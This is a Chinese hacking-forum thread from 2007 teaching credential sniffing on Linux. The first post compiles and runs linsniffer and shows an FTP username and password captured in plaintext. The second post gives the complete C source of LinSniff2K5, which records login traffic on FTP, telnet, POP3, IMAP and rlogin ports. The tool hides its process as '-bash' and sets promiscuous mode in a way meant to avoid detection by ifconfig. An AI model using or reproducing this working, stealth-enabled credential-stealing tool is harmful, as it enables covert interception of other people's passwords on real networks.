Discuz!官方免费开源建站系统

 找回密码
 立即注册
搜索

Linux黑客系列(三)Let's Sniffe It!->嗅探

[复制链接]
bestwc 发表于 2007-8-24 10:29:50 | 显示全部楼层 |阅读模式
本教程需要一定的黑客技术和Linux系统基础知识.

先看看我们要一起学习的东西
主流嗅探软件:
*linsniffer

*linuxsniffer


*hunt


*sniffit

我们来学习最简单方便的 linsniffer
看看介绍先^_^

linsniffer是一个简单实用的嗅探器。它主要的功能特点是用来捕捉用户名和密码,它在这方面非常出色。
作者:Mike Edulla
条件: C和IP头文件
配置文件:无
位置: http://agape.trilidun.org/hack/network-sniffers/linsnifferc
安全历史: 无
注: 易于使用。但是lnsniffer需要完整的IP头文件,包括常常存储在/usr/include/net和 /usr/include/netinet的头文件,在编译前确保PATH变量包含/usr/include。


好了,我们编译一下看看.
[root@NewStar8 /]# cd /hacker
[root@NewStar8 hacker]# gcc -o linsniffer linsniffer.c
In file included from /usr/include/linux/tcp.h:21,
                from linsniffer.c:58:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!
[root@NewStar8 hacker]# ls
BackDoor.c  GrepBag.c~    nmap                    portscan.c~    telnet.c~
BackDoor.c~  linsniffer    nmap-4.21ALPHA4.tar.bz2  tcp.log
ddos.c      linsniffer.c  ping.c                  telnetBack.c
ddos.c~      linsniffer.c~  ping.c~                  telnetBack.c~
GrepBag.c    llk            portscan.c              telnet.c
[root@NewStar8 hacker]#
绿色的可执行文件已经出现了.呵呵,我们实验下效果^_^
[root@NewStar8 hacker]# ./linsniffer
LinSniff 2K5
Listening interface eth0
Child PID is 4991
[root@NewStar8 hacker]#
好了 linsniffer已经开始监听eth0接口了.我们登录个FTP看看

[root@NewStar8 hacker]# ftp XXXXXXX.XX
Connected to XXXXXXX.XX.
220 Gene6 FTP Server v3.7.0  (Build 24) ready...
534 AUTH command is disabled.
534 AUTH command is disabled.
KERBEROS_V4 rejected as an authentication type
Name (XXXXXXX.XX:root): up
331 Password required for up.
Password:
230 User up logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
227 Entering Passive Mode (XXX,XX,XX,XXX,251,20)
150 Data connection accepted from 202.100.58.129:1616; transfer starting.
drw-rw-rw-  1 user    group        4096 Dec 30 13:23 123
-rw-rw-rw-  1 user    group    5365777 Apr 26 19:10 32ftpser.zip
drw-rw-rw-  1 user    group        4096 May 18 20:50 8gg
-rw-rw-rw-  1 user    group        8371 May 05 01:12 AboutusContact.aspx
-rw-rw-rw-  1 user    group      11678 May 05 01:20 AboutusPay.aspx
drw-rw-rw-  1 user    group        4096 Apr 26 14:27 dbc
-rw-rw-rw-  1 user    group      83054 May 03 20:08 Default4.aspx
drw-rw-rw-  1 user    group        4096 May 01 04:52 drwebSH
-rw-rw-rw-  1 user    group      800667 May 03 21:03 e0594net.rar
-rw-rw-rw-  1 user    group    1724416 Apr 26 18:28 ftp2_32cn.msi
-rw-rw-rw-  1 user    group      57994 Apr 26 18:12 G6-3902-lang_cn-sp.zip
-rw-rw-rw-  1 user    group    4134114 Apr 26 18:17 g6ftpdsetup.zip
-rw-rw-rw-  1 user    group      15412 May 02 22:44 GB1.jpg
-rw-rw-rw-  1 user    group      15342 May 02 22:44 GB2.jpg
-rw-rw-rw-  1 user    group      15708 May 02 22:44 GB3.jpg
drw-rw-rw-  1 user    group        4096 Aug 30  2006 GPS
drw-rw-rw-  1 user    group        4096 May 19 05:39 HaiLang.Linux
-rw-rw-rw-  1 user    group      125424 May 03 01:07 index.swf
-rw-rw-rw-  1 user    group          37 Apr 28 20:05 ip.txt
-rw-rw-rw-  1 user    group      159748 May 02 13:51 IPMSG.exe
-rw-rw-rw-  1 user    group        2636 May 05 01:53 lz1000.asp
drw-rw-rw-  1 user    group        4096 May 05 01:53 lzimages
drw-rw-rw-  1 user    group        4096 Apr 26 14:30 maps
-rw-rw-rw-  1 user    group    18171405 Apr 26 22:50 NEWserver4.21.rar
-rw-rw-rw-  1 user    group      11042 May 03 00:45 price1.jpg
-rw-rw-rw-  1 user    group      12015 May 03 01:00 price10.jpg
-rw-rw-rw-  1 user    group      12237 May 03 01:00 price11.jpg
-rw-rw-rw-  1 user    group      12249 May 03 01:00 price12.jpg
-rw-rw-rw-  1 user    group      12344 May 03 01:00 price13.jpg
-rw-rw-rw-  1 user    group      11170 May 03 00:45 price2.jpg
-rw-rw-rw-  1 user    group      11196 May 03 00:45 price3.jpg
-rw-rw-rw-  1 user    group      11077 May 03 00:45 price4.jpg
-rw-rw-rw-  1 user    group      11196 May 03 00:45 price5.jpg
-rw-rw-rw-  1 user    group      11162 May 03 00:45 price6.jpg
-rw-rw-rw-  1 user    group      11162 May 03 00:45 price7.jpg
-rw-rw-rw-  1 user    group      11179 May 03 00:45 price8.jpg
-rw-rw-rw-  1 user    group      11170 May 03 00:45 price9.jpg
-rw-rw-rw-  1 user    group      14361 May 02 23:13 QY1.jpg
-rw-rw-rw-  1 user    group      14316 May 02 23:13 QY2.jpg
-rw-rw-rw-  1 user    group      20840 May 03 21:22 Server.aspx
-rw-rw-rw-  1 user    group      15663 May 02 22:56 SW1.jpg
-rw-rw-rw-  1 user    group      15952 May 02 22:56 SW2.jpg
-rw-rw-rw-  1 user    group    4944022 May 05 02:12 Web_QQ.zip
-rw-rw-rw-  1 user    group    2536174 Apr 26 19:49 WinFtpServer.zip
-rw-rw-rw-  1 user    group    1042349 May 02 13:26 WinRAR_3.60_beta4_sc.exe
-rw-rw-rw-  1 user    group    1063444 Apr 25 16:19 wrar362sc.exe
-rw-rw-rw-  1 user    group    2159774 May 11 18:23 xddos.rar
-rw-rw-rw-  1 user    group      15030 May 02 22:01 ZY1.jpg
-rw-rw-rw-  1 user    group      15008 May 02 22:01 ZY2.jpg
-rw-rw-rw-  1 user    group      15195 May 02 22:01 ZY3.jpg
drw-rw-rw-  1 user    group        4096 Apr 23 10:56 ?汾???
-rw-rw-rw-  1 user    group    98503277 Apr 25 01:13 ????.rar
drw-rw-rw-  1 user    group        4096 Jan 19 05:57 ????BAK
drw-rw-rw-  1 user    group        4096 Apr 25 17:46 ???
-rw-rw-rw-  1 user    group    9440647 May 03 22:07 ???????.rar
drw-rw-rw-  1 user    group        4096 Sep 29  2006 ?????????????
drw-rw-rw-  1 user    group        4096 May 09 04:30 ???
drw-rw-rw-  1 user    group        4096 Dec 19 15:19 ???
drw-rw-rw-  1 user    group        4096 Jan 25 14:20 ??????
-rw-rw-rw-  1 user    group    4217940 May 02 13:45 ?????????????.exe
drw-rw-rw-  1 user    group        4096 Oct 06  2006 ???
-rw-rw-rw-  1 user    group        5064 Apr 30 13:03 ????.rar
-rw-rw-rw-  1 user    group      36864 Apr 26 23:05 ????滻.exe
226 Transfer ok.
ftp> bye
221 Goodbye.
[root@NewStar8 hacker]#
这就是一个简单的FTP登录和使用的过程.用户名:up 密码:123456

[root@NewStar8 hacker]# ls
BackDoor.c  GrepBag.c~    nmap                    portscan.c~    telnet.c~
BackDoor.c~  linsniffer    nmap-4.21ALPHA4.tar.bz2  tcp.log
ddos.c      linsniffer.c  ping.c                  telnetBack.c
ddos.c~      linsniffer.c~  ping.c~                  telnetBack.c~
GrepBag.c    llk            portscan.c              telnet.c
[root@NewStar8 hacker]#
我们看到多出来一个日志文件 tcp.log
我们看看它都找到什么好东西了^_^
============================================================
Time: Sat May 19 22:32:34    Size: 77
Path: 192.168.1.147 => XXX.XX.XX.XXX [21]
------------------------------------------------------------
AUTH GSSAPI
AUTH KERBEROS_V4
USER up
PASS 123456
SYST
PASV
LIST
QUIT
用户名和密码都被监听到了,是明文的,而且ls命令LIST和bye 命令QUIT也被记录下来了.

好了,以上就是linsniffer的简单用法.当然,如果你需要更详细和专业的分析报告,选择hunt是个不错的选择.

QQ78975150    Thx for watching!
回复

使用道具 举报

 楼主| bestwc 发表于 2007-8-24 10:30:24 | 显示全部楼层
以下是我个人收藏的 linsniffer的代码



/************************************************************************
* LinSniff2K5 - based on LinSniff666 - (which was based on linsnifer)  *
*            09/12/2004  - sirius_black / LOTFREE Team                *
*                  http://www.lsdp.net/~lotfree/                      *
*                    and Merry Christmas !! :p                        *
************************************************************************
* A few improvements I made on Linsniff666 :                          *
* - hide from a 'ps' by changing the process name to '-bash'          *
* - use setsockopt to enter promiscuous mode (invisible with ifconfig) *
* - give the PID of the child process (usefull to kill the sniffer)    *
* - possibility to chose the interface to listen (default is eth0)    *
* - the proggie don't care about the ethernet layer no more (ETH_P_IP) *
*                                                                      *
* The major modification is that linsniff2k5 don't record extra data.  *
* Linsniff666 considers that the tcp header length is always 20 bytes  *
* so when it receives a tcp header of 32 or 40 bytes it records        *
* respectively 12 or 20 bytes it should not record.                    *
* This problem a been corrected in this version.                      *
************************************************************************
*  Usage :    "./linsniff2k5"    or    "./linsniff2k5 <interface>"    *
************************************************************************/

// LinSniffer 0.666
// by humble of rhino9
// I am not responsible for what you do with this.

// This is like linsniffer, but it uses a linked list
// so it won't ignore any connections.

// based on original code by Mike Edulla

// how many bytes do you want to capture per connection?
// it mallocs this much memory for each connection so don't
// make it too high
#define MAXIMUM_CAPTURE 256
// how long before we stop watching an idle connection?
#define TIMEOUT 30
// log file name?
#define LOGNAME "tcp.log"

#define PROCESS "-bash"
#define DEFAULT_IF "eth0"
#define IF_LEN 16

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <signal.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>

int sock;
FILE *logfile;

struct connection
{
  struct connection *next;

  time_t start;
  time_t lasthit;

  unsigned long saddr;
  unsigned long daddr;
  unsigned short sport;
  unsigned short dport;

  unsigned char data[MAXIMUM_CAPTURE];
  int bytes;
};

typedef struct connection *clistptr;

clistptr head,tail;

void add_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp)
{
  clistptr newnode;

  newnode=(clistptr)malloc(sizeof(struct connection));
  newnode->saddr=sa;
  newnode->daddr=da;
  newnode->sport=sp;
  newnode->dport=dp;
  newnode->bytes=0;
  newnode->next=NULL;
  time(&(newnode->start));
  time(&(newnode->lasthit));
  if (!head)
  {   
    head=newnode;
    tail=newnode;
  }
  else
  {
    tail->next=newnode;
    tail=newnode;
  }
}

char *hostlookup(unsigned long int in)
{
  static char blah[1024];
  struct in_addr i;
  struct hostent *he;

  i.s_addr=in;
  he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
  if(he == NULL) strcpy(blah, inet_ntoa(i));
  else strcpy(blah, he->h_name);
  return blah;
}

char *pretty(time_t *t)
{
  char *time;
  time=(char*)ctime(t);
  time[strlen(time)-6]=0;
  return time;
}

int remove_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp)
{
  clistptr walker,prev;
  int i=0;
  int t=0;
  if (head)
  {
    walker=head;
    prev=head;
    while (walker)
    {
      if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker->dport)
      {
    prev->next=walker->next;
    if (walker==head)
    {
      head=head->next;;
      prev=NULL;
    }
    if (walker==tail)
      tail=prev;
    fprintf(logfile,"============================================================\n");
    fprintf(logfile,"Time: %s    Size: %d\nPath: %s",pretty(&(walker->start)),walker->bytes,hostlookup(sa));
    fprintf(logfile," => %s [%d]\n------------------------------------------------------------\n",hostlookup(da),ntohs(dp));
    fflush(logfile);
    for (i=0;i<walker->bytes;i++)
    {
      if (walker->data==13)
      {
        fprintf(logfile,"\n");
        t=0;
      }
      if (isprint(walker->data))
      {
        fprintf(logfile,"%c",walker->data);
        t++;
      }
      if (t>75)
      {
        t=0;
        fprintf(logfile,"\n");
      }
    }
    fprintf(logfile,"\n");
    fflush(logfile);
    free (walker);
    return 1;   
      }
      prev=walker;
      walker=walker->next;
    }
  }   
}

int log_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp,int bytes,char *buffer)
{
  clistptr walker;

  walker=head;
  while (walker)
  {
    if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker->dport)
    {
      time(&(walker->lasthit));
      strncpy(walker->data+walker->bytes,buffer,MAXIMUM_CAPTURE-walker->bytes);
      walker->bytes=walker->bytes+bytes;
      if (walker->bytes>=MAXIMUM_CAPTURE)
      {
    walker->bytes=MAXIMUM_CAPTURE;
    remove_node(sa,da,sp,dp);
    return 1;
      }   
    }
    walker=walker->next;
  }
}   


void setup_interface(char *device);
void cleanup(int);


struct ip_packet
{
  struct iphdr  ip;
  struct tcphdr tcp;
  char buff[8192];
} ipp;

struct iphdr *ip;
struct tcphdr *tcp;

void cleanup(int sig)
{
  if (sock)
    close(sock);
  if (logfile)
  {
    fprintf(logfile,"\nExiting...\n");
    fclose(logfile);
  }
  exit(0);
}

void purgeidle(int sig)
{
  clistptr walker;
  time_t curtime;   
  walker=head;
  signal(SIGALRM, purgeidle);
  alarm(5);
  //printf("Purging idle connections...\n");

  time(&curtime);
  while (walker)
  {
    if (curtime - walker->lasthit  > TIMEOUT)
    {
      //printf("Removing node: %d,%d,%d,%d\n",walker->saddr,walker->daddr,walker->sport,walker->dport);
      remove_node(walker->saddr,walker->daddr,walker->sport,walker->dport);
      walker=head;
    }
    else
      walker=walker->next;
  }
}

void setup_interface(char *device)
{
  struct ifreq ifr;
  struct packet_mreq mr;
  struct sockaddr_ll sll;
   
  ifr.ifr_ifindex=0;
  //open up our magic PF_PACKET
  sock=socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IP));
  if(sock<0)
  {
    perror("socket");
    exit(1);
  }

  memset(&ifr,0,sizeof(ifr));
  //set our device into promiscuous mode
  strncpy(ifr.ifr_name, device,sizeof(ifr.ifr_name));
  if(ioctl(sock, SIOCGIFINDEX, &ifr)<0)
  {
    close(sock);
    perror("cant get flags");
    exit(1);
  }

  sll.sll_family=AF_PACKET;
  sll.sll_ifindex=ifr.ifr_ifindex;
  sll.sll_protocol=htons(ETH_P_ALL);

  if(bind(sock,(struct sockaddr*)&sll,sizeof(sll))<0)
  {
    perror("bind");
    exit(1);
  }

  memset(&mr,0,sizeof(mr));
  mr.mr_ifindex=ifr.ifr_ifindex;
  mr.mr_type=PACKET_MR_PROMISC;
  //we now use setsockopt... Promiscuous mode will be invisible ti ifconfig :p
  if(setsockopt(sock,SOL_PACKET,PACKET_ADD_MEMBERSHIP,&mr,sizeof(mr))<0)
  {
    perror("setsockopt error");
    exit(1);
  }
}

int filter(void)
{
  int p;
  p=0;
  int opt_len;

  if(ip->protocol != 6) return 0;
   
  p=0;
  if (htons(tcp->dest) == 21) p= 1;
  if (htons(tcp->dest) == 23) p= 1;
  if (htons(tcp->dest) == 110) p= 1;
  if (htons(tcp->dest) == 143) p= 1;
  if (htons(tcp->dest) == 513) p= 1;
  if (!p) return 0;
        
  if(tcp->syn == 1)
  {
    //printf("Adding node syn %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest);
    add_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);
  }
  if(tcp->rst == 1)
  {
    //printf("Removed node rst %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest);
    remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);
  }
  if(tcp->fin == 1)
  {
    //printf("Removed node fin %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest);
    remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);
  }
  opt_len=4*tcp->doff-sizeof(ipp.tcp);
  log_node(ip->saddr,ip->daddr,
          tcp->source,tcp->dest,
        htons(ip->tot_len)-sizeof(ipp.ip)-sizeof(ipp.tcp)-opt_len,
        ipp.buff+opt_len);
}


int main(int argc, char *argv[])
{
  int x,dn;   
  clistptr c;
  char interface[IF_LEN];
  int i;

  printf("LinSniff 2K5\n");
  head=tail=NULL;

  ip=(struct iphdr *)((unsigned long)&ipp.ip);
  tcp=(struct tcphdr *)((unsigned long)&ipp.tcp);

  if(argc>1)
    strncpy(interface,argv[1],IF_LEN-1);
  else
    strcpy(interface,DEFAULT_IF);

  printf("Listening interface %s\n",interface);
  //a simple trick to hide in process
  for(i=0;i<argc;i++)
    bzero(argv,strlen(argv));
  strcpy(argv[0],PROCESS);
  if (fork()==0)
  {
    printf("Child PID is %d\n",getpid());
    close(0); close(1); close(2);
    setsid();
    dn=open("/dev/null",O_RDWR);
    dup2(0,dn); dup2(1,dn); dup2(2,dn);
    close(dn);
    setup_interface(interface);

    signal(SIGHUP, SIG_IGN);
    signal(SIGINT, cleanup);
    signal(SIGTERM, cleanup);
    signal(SIGKILL, cleanup);
    signal(SIGQUIT, cleanup);
    signal(SIGALRM, purgeidle);
      
    logfile=fopen(LOGNAME,"a");
    if (logfile == NULL)
    {
      fprintf(stderr, "cant open log\n");
      exit(0);
    }

    alarm(5);

    while (1)
    {
      x=read(sock, (struct ip_packet*)&ipp, sizeof(struct ip_packet));
      if (x>1)
      {
    filter();
      }
    }
  }
  return 0;
}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2025-11-21 22:58 , Processed in 0.099812 second(s), 14 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表